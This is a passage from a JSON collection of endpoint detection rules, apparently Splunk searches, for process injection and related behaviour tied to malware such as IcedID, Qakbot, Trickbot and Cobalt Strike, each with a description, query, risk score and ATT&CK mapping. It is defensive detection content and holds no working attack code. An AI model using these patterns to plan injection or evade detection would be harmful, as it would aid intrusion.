processes, aiding in defense evasion and data theft. If confirmed malicious, this behavior could allow an attacker to execute arbitrary code, escalate privileges, and exfiltrate sensitive information from the compromised host.", - "search": "`sysmon` EventCode=8 SourceImage = \"*\\\\rundll32.exe\" TargetImage = \"*.exe\" | stats count min(_time) as firstTime max(_time) as lastTime by SourceImage TargetImage TargetProcessId SourceProcessId StartAddress EventCode dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `rundll32_create_remote_thread_to_a_process_filter`", - "tags": { - "analytic_story": [ - "IcedID", - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "SourceImage", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "rundl32 process $SourceImage$ create a remote thread to process $TargetImage$ in host $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1055", - "mitre_attack_technique": "Process Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT32", - "APT37", - "APT41", - "APT5", - "Cobalt Group", - "Kimsuky", - "PLATINUM", - "Silence", - "TA2541", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Rundll32 CreateRemoteThread In Browser", - "description": "The following analytic detects the suspicious creation of a remote thread by rundll32.exe targeting browser processes such as firefox.exe, chrome.exe, iexplore.exe, and microsoftedgecp.exe. This detection leverages Sysmon EventCode 8, focusing on SourceImage and TargetImage fields to identify the behavior. This activity is significant as it is commonly associated with malware like IcedID, which hooks browsers to steal sensitive information such as banking details. If confirmed malicious, this could allow attackers to intercept and exfiltrate sensitive user data, leading to potential financial loss and privacy breaches.", - "search": "`sysmon` EventCode=8 SourceImage = \"*\\\\rundll32.exe\" TargetImage IN (\"*\\\\firefox.exe\", \"*\\\\chrome.exe\", \"*\\\\iexplore.exe\",\"*\\\\microsoftedgecp.exe\") | stats count min(_time) as firstTime max(_time) as lastTime by SourceImage TargetImage TargetProcessId SourceProcessId StartAddress EventCode dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `rundll32_createremotethread_in_browser_filter`", - "tags": { - "analytic_story": [ - "IcedID", - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "SourceImage", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "rundl32 process $SourceImage$ create a remote thread to browser process $TargetImage$ in host $dest$", - "risk_score": 70, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1055", - "mitre_attack_technique": "Process Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT32", - "APT37", - "APT41", - "APT5", - "Cobalt Group", - "Kimsuky", - "PLATINUM", - "Silence", - "TA2541", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "SearchProtocolHost with no Command Line with Network", - "description": "The following analytic detects instances of searchprotocolhost.exe running without command line arguments but with an active network connection. This behavior is identified using Endpoint Detection and Response (EDR) telemetry, focusing on process execution and network traffic data. It is significant because searchprotocolhost.exe typically runs with specific command line arguments, and deviations from this norm can indicate malicious activity, such as Cobalt Strike usage. If confirmed malicious, this activity could allow attackers to establish network connections for command and control, potentially leading to data exfiltration or further system compromise.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where Processes.process_name=searchprotocolhost.exe by _time span=1h Processes.process_id Processes.process_name Processes.dest Processes.process_path Processes.process Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | regex process=\"(?i)(searchprotocolhost\\.exe.{0,4}$)\" | join process_id [| tstats `security_content_summariesonly` count FROM datamodel=Network_Traffic.All_Traffic where All_Traffic.dest_port != 0 by All_Traffic.process_id All_Traffic.dest All_Traffic.dest_port | `drop_dm_object_name(All_Traffic)` | rename dest as C2 ] | table _time dest parent_process_name process_name process_path process process_id dest_port C2 | `searchprotocolhost_with_no_command_line_with_network_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Cobalt Strike", - "Graceful Wipe Out Attack" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process Name", - "role": [ - "Attacker" - ] - } - ], - "message": "A searchprotocolhost.exe process $process_name$ with no commandline in host $dest$", - "risk_score": 70, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1055", - "mitre_attack_technique": "Process Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT32", - "APT37", - "APT41", - "APT5", - "Cobalt Group", - "Kimsuky", - "PLATINUM", - "Silence", - "TA2541", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Suspicious DLLHost no Command Line Arguments", - "description": "The following analytic detects instances of DLLHost.exe executing without command line arguments. This behavior is unusual and often associated with malicious activities, such as those performed by Cobalt Strike. The detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs. This activity is significant because DLLHost.exe typically requires arguments to function correctly, and its absence may indicate an attempt to evade detection. If confirmed malicious, this could lead to unauthorized actions like credential dumping or file manipulation, posing a severe threat to the environment.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where `process_dllhost` by _time span=1h Processes.process_id Processes.process_name Processes.dest Processes.user Processes.process_path Processes.process Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | regex process=\"(?i)(dllhost\\.exe.{0,4}$)\" | `suspicious_dllhost_no_command_line_arguments_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Cobalt Strike", - "Graceful Wipe Out Attack" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious dllhost.exe process with no command line arguments executed on $dest$ by $user$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1055", - "mitre_attack_technique": "Process Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT32", - "APT37", - "APT41", - "APT5", - "Cobalt Group", - "Kimsuky", - "PLATINUM", - "Silence", - "TA2541", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Suspicious GPUpdate no Command Line Arguments", - "description": "The following analytic detects the execution of gpupdate.exe without any command line arguments. This behavior is identified using data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs. It is significant because gpupdate.exe typically runs with specific arguments, and its execution without them is often associated with malicious activities, such as those performed by Cobalt Strike. If confirmed malicious, this activity could indicate an attempt to execute unauthorized commands or scripts, potentially leading to further system compromise or lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where `process_gpupdate` by _time span=1h Processes.process_id Processes.process_name Processes.dest Processes.user Processes.process_path Processes.process Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | regex process=\"(?i)(gpupdate\\.exe.{0,4}$)\" | `suspicious_gpupdate_no_command_line_arguments_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Cobalt Strike", - "Graceful Wipe Out Attack" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious gpupdate.exe process with no command line arguments executed on $dest$ by $user$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1055", - "mitre_attack_technique": "Process Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT32", - "APT37", - "APT41", - "APT5", - "Cobalt Group", - "Kimsuky", - "PLATINUM", - "Silence", - "TA2541", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Suspicious SearchProtocolHost no Command Line Arguments", - "description": "The following analytic detects instances of searchprotocolhost.exe running without command line arguments. This behavior is unusual and often associated with malicious activities, such as those performed by Cobalt Strike. The detection leverages Endpoint Detection and Response (EDR) telemetry, focusing on process execution data. This activity is significant because searchprotocolhost.exe typically runs with specific arguments, and its absence may indicate an attempt to evade detection. If confirmed malicious, this could lead to unauthorized code execution, potential credential dumping, or other malicious actions within the environment.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where Processes.process_name=searchprotocolhost.exe by _time span=1h Processes.process_id Processes.process_name Processes.dest Processes.user Processes.process_path Processes.process Processes.parent_process_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | regex process=\"(?i)(searchprotocolhost\\.exe.{0,4}$)\" | `suspicious_searchprotocolhost_no_command_line_arguments_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "Cobalt Strike", - "Graceful Wipe Out Attack" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious searchprotocolhost.exe process with no command line arguments executed on $dest$ by $user$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1055", - "mitre_attack_technique": "Process Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT32", - "APT37", - "APT41", - "APT5", - "Cobalt Group", - "Kimsuky", - "PLATINUM", - "Silence", - "TA2541", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Trickbot Named Pipe", - "description": "The following analytic detects the creation or connection to a named pipe associated with Trickbot malware. It leverages Sysmon EventCodes 17 and 18 to identify named pipes with the pattern \"\\\\pipe\\\\*lacesomepipe\". This activity is significant as Trickbot uses named pipes for communication with its command and control (C2) servers, facilitating data exfiltration and command execution. If confirmed malicious, this behavior could allow attackers to maintain persistence, execute arbitrary commands, and exfiltrate sensitive information from the compromised system.", - "search": "`sysmon` EventCode IN (17,18) PipeName=\"\\\\pipe\\\\*lacesomepipe\" | stats min(_time) as firstTime max(_time) as lastTime count by dest user_id EventCode PipeName signature Image process_id | rename Image as process_name | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `trickbot_named_pipe_filter`", - "tags": { - "analytic_story": [ - "Trickbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "Possible Trickbot namedpipe created on $dest$ by $process_name$", - "risk_score": 42, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1055", - "mitre_attack_technique": "Process Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT32", - "APT37", - "APT41", - "APT5", - "Cobalt Group", - "Kimsuky", - "PLATINUM", - "Silence", - "TA2541", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Command Shell Fetch Env Variables", - "description": "The following analytic identifies a suspicious process command line fetching environment variables with a non-shell parent process. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions and parent process names. This activity is significant as it is commonly associated with malware like Qakbot, which uses this technique to gather system information. If confirmed malicious, this behavior could indicate that the parent process has been compromised, potentially allowing attackers to execute arbitrary commands, escalate privileges, or persist within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process = \"*cmd /c set\" OR Processes.process = \"*cmd.exe /c set\" AND NOT (Processes.parent_process_name = \"cmd.exe\" OR Processes.parent_process_name = \"powershell*\" OR Processes.parent_process_name=\"pwsh.exe\" OR Processes.parent_process_name = \"explorer.exe\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_command_shell_fetch_env_variables_filter`", - "tags": { - "analytic_story": [ - "Qakbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "non-shell parent process has a child process $process_name$ with a commandline $process$ to fetch env variables in $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1055", - "mitre_attack_technique": "Process Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT32", - "APT37", - "APT41", - "APT5", - "Cobalt Group", - "Kimsuky", - "PLATINUM", - "Silence", - "TA2541", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Process Injection In Non-Service SearchIndexer", - "description": "The following analytic identifies instances of the searchindexer.exe process that are not spawned by services.exe, indicating potential process injection. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and parent processes. This activity is significant because QakBot malware often uses a fake searchindexer.exe to evade detection and perform malicious actions such as data exfiltration and keystroke logging. If confirmed malicious, this activity could allow attackers to maintain persistence, steal sensitive information, and communicate with command and control servers.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name != services.exe Processes.process_name=searchindexer.exe by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_process_injection_in_non_service_searchindexer_filter`", - "tags": { - "analytic_story": [ - "Qakbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "An uncommon non-service searchindexer.exe process in $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1055", - "mitre_attack_technique": "Process Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT32", - "APT37", - "APT41", - "APT5", - "Cobalt Group", - "Kimsuky", - "PLATINUM", - "Silence", - "TA2541", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Process Injection into Notepad", - "description": "The following analytic detects process injection into Notepad.exe using Sysmon EventCode 10. It identifies suspicious GrantedAccess requests (0x40 and 0x1fffff) to Notepad.exe, excluding common system paths like System32, Syswow64, and Program Files. This behavior is often associated with the SliverC2 framework by BishopFox. Monitoring this activity is crucial as it may indicate an initial payload attempting to execute malicious code within Notepad.exe. If confirmed malicious, this could allow attackers to execute arbitrary code, potentially leading to privilege escalation or persistent access within the environment.", - "search": "`sysmon` EventCode=10 TargetImage IN (*\\\\notepad.exe) NOT (SourceImage IN (\"*\\\\system32\\\\*\",\"*\\\\syswow64\\\\*\",\"*\\\\Program Files\\\\*\")) GrantedAccess IN (\"0x40\",\"0x1fffff\") | stats count min(_time) as firstTime max(_time) as lastTime by dest SourceImage TargetImage GrantedAccess CallTrace | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_process_injection_into_notepad_filter`", - "tags": { - "analytic_story": [ - "BishopFox Sliver Adversary Emulation Framework" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "SourceImage", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "TargetImage", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $SourceImage$ injecting into $TargetImage$ was identified on endpoint $dest$.", - "risk_score": 32, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1055", - "mitre_attack_technique": "Process Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT32", - "APT37", - "APT41", - "APT5", - "Cobalt Group", - "Kimsuky", - "PLATINUM", - "Silence", - "TA2541", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1055.002", - "mitre_attack_technique": "Portable Executable Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Gorgon Group", - "Rocke" - ] - } - ] - } - }, - { - "name": "Windows Process Injection Of Wermgr to Known Browser", - "description": "The following analytic identifies the suspicious remote thread execution of the wermgr.exe process into known browsers such as firefox.exe, chrome.exe, and others. It leverages Sysmon EventCode 8 logs to detect this behavior by monitoring SourceImage and TargetImage fields. This activity is significant because it is indicative of Qakbot malware, which injects malicious code into legitimate processes to steal information. If confirmed malicious, this activity could allow attackers to execute arbitrary code, escalate privileges, and exfiltrate sensitive data from the compromised host.", - "search": "`sysmon` EventCode=8 SourceImage = \"*\\\\wermgr.exe\" TargetImage IN (\"*\\\\firefox.exe\", \"*\\\\chrome.exe\", \"*\\\\iexplore.exe\",\"*\\\\microsoftedgecp.exe\") | stats count min(_time) as firstTime max(_time) as lastTime by SourceImage TargetImage SourceProcessGuid SourceProcessId StartAddress StartFunction TargetProcessGuid TargetProcessId EventCode dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_process_injection_of_wermgr_to_known_browser_filter`", - "tags": { - "analytic_story": [ - "Qakbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "wermgr.exe process $SourceImage$ create a remote thread to a browser process $TargetImage$ in host $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1055.001", - "mitre_attack_technique": "Dynamic-link Library Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "BackdoorDiplomacy", - "Lazarus Group", - "Leviathan", - "Malteiro", - "Putter Panda", - "TA505", - "Tropic Trooper", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1055", - "mitre_attack_technique": "Process Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT32", - "APT37", - "APT41", - "APT5", - "Cobalt Group", - "Kimsuky", - "PLATINUM", - "Silence", - "TA2541", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Process Injection Remote Thread", - "description": "The following analytic detects suspicious remote thread execution in processes such as Taskmgr.exe, calc.exe, and notepad.exe, which may indicate process injection by malware like Qakbot. This detection leverages Sysmon EventCode 8 to identify remote thread creation in specific target processes. This activity is significant as it often signifies an attempt by malware to inject malicious code into legitimate processes, potentially leading to unauthorized code execution. If confirmed malicious, this could allow attackers to execute arbitrary code, escalate privileges, or maintain persistence on the compromised host.", - "search": "`sysmon` EventCode=8 TargetImage IN (\"*\\\\Taskmgr.exe\", \"*\\\\calc.exe\", \"*\\\\notepad.exe\", \"*\\\\rdpclip.exe\", \"*\\\\explorer.exe\", \"*\\\\wermgr.exe\", \"*\\\\ping.exe\", \"*\\\\OneDriveSetup.exe\", \"*\\\\dxdiag.exe\", \"*\\\\mobsync.exe\", \"*\\\\msra.exe\", \"*\\\\xwizard.exe\",\"*\\\\cmd.exe\", \"*\\\\powershell.exe\") | stats count min(_time) as firstTime max(_time) as lastTime by TargetImage TargetProcessId SourceProcessId EventCode StartAddress SourceImage dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_process_injection_remote_thread_filter`", - "tags": { - "analytic_story": [ - "Graceful Wipe Out Attack", - "Qakbot", - "Warzone RAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "SourceImage", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "process $SourceImage$ create a remote thread to process $TargetImage$ on host $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1055", - "mitre_attack_technique": "Process Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT32", - "APT37", - "APT41", - "APT5", - "Cobalt Group", - "Kimsuky", - "PLATINUM", - "Silence", - "TA2541", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1055.002", - "mitre_attack_technique": "Portable Executable Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Gorgon Group", - "Rocke" - ] - } - ] - } - }, - { - "name": "Windows Process Injection Wermgr Child Process", - "description": "The following analytic identifies a suspicious instance of wermgr.exe spawning a child process unrelated to error or fault handling. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process relationships and command-line executions. This activity is significant as it can indicate Qakbot malware, which injects malicious code into wermgr.exe to evade detection and execute malicious actions. If confirmed malicious, this behavior could allow an attacker to conduct reconnaissance, execute arbitrary code, and persist within the network, posing a severe security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name = \"wermgr.exe\" AND NOT (Processes.process_name IN (\"WerFaultSecure.exe\", \"wermgr.exe\", \"WerFault.exe\")) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_process_injection_wermgr_child_process_filter`", - "tags": { - "analytic_story": [ - "Qakbot", - "Windows Error Reporting Service Elevation of Privilege Vulnerability" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "wermgr parent process has a child process $process_name$ in $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1055", - "mitre_attack_technique": "Process Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT32", - "APT37", - "APT41", - "APT5", - "Cobalt Group", - "Kimsuky", - "PLATINUM", - "Silence", - "TA2541", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Process Injection With Public Source Path", - "description": "The following analytic detects a process from a non-standard file path on Windows attempting to create a remote thread in another process. This is identified using Sysmon EventCode 8, focusing on processes not originating from typical system directories. This behavior is significant as it often indicates process injection, a technique used by adversaries to evade detection or escalate privileges. If confirmed malicious, this activity could allow an attacker to execute arbitrary code within another process, potentially leading to unauthorized actions and further compromise of the system.", - "search": "`sysmon` EventCode=8 TargetImage = \"*.exe\" AND NOT(SourceImage IN(\"C:\\\\Windows\\\\*\", \"C:\\\\Program File*\", \"%systemroot%\\\\*\")) | stats count min(_time) as firstTime max(_time) as lastTime by SourceImage TargetImage signature TargetProcessGuid SourceProcessGuid TargetProcessId SourceProcessId StartAddress EventCode dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_process_injection_with_public_source_path_filter`", - "tags": { - "analytic_story": [ - "Brute Ratel C4" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "SourceImage", - "type": "Process", - "role": [ - "Attacker" - ] - }, - { - "name": "TargetImage", - "type": "Process", - "role": [ - "Target" - ] - } - ], - "message": "process $SourceImage$ create a remote thread to process $TargetImage$ on host $dest$", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1055", - "mitre_attack_technique": "Process Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT32", - "APT37", - "APT41", - "APT5", - "Cobalt Group", - "Kimsuky", - "PLATINUM", - "Silence", - "TA2541", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1055.002", - "mitre_attack_technique": "Portable Executable Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Gorgon Group", - "Rocke" - ] - } - ] - } - }, - { - "name": "Windows Process With NamedPipe CommandLine", - "description": "The following analytic detects processes with command lines containing named pipes. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process command-line executions. This behavior is significant as it is often used by adversaries, such as those behind the Olympic Destroyer malware, for inter-process communication post-injection, aiding in defense evasion and privilege escalation. If confirmed malicious, this activity could allow attackers to maintain persistence, escalate privileges, or evade defenses, potentially leading to further compromise of the system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process = \"*\\\\\\\\.\\\\pipe\\\\*\" NOT (Processes.process_path IN (\"*\\\\program files*\")) by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.original_file_name Processes.process_id Processes.parent_process_path Processes.process_guid Processes.parent_process_id Processes.dest Processes.user Processes.process_path | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_process_with_namedpipe_commandline_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Process with named pipe in $process$ on $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1055", - "mitre_attack_technique": "Process Injection", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT32", - "APT37", - "APT41", - "APT5", - "Cobalt Group", - "Kimsuky", - "PLATINUM", - "Silence", - "TA2541", - "Turla", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Rasautou DLL Execution", - "description": "The following analytic detects the execution of an arbitrary DLL by the Windows Remote Auto Dialer (rasautou.exe). This behavior is identified by analyzing process creation events where rasautou.exe is executed with specific command-line arguments. This activity is significant because it leverages a Living Off The Land Binary (LOLBin) to execute potentially malicious code, bypassing traditional security controls. If confirmed malicious, this technique could allow an attacker to execute arbitrary code, potentially leading to system compromise, privilege escalation, or persistent access within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=rasautou.exe Processes.process=\"* -d *\"AND Processes.process=\"* -p *\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_rasautou_dll_execution_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": 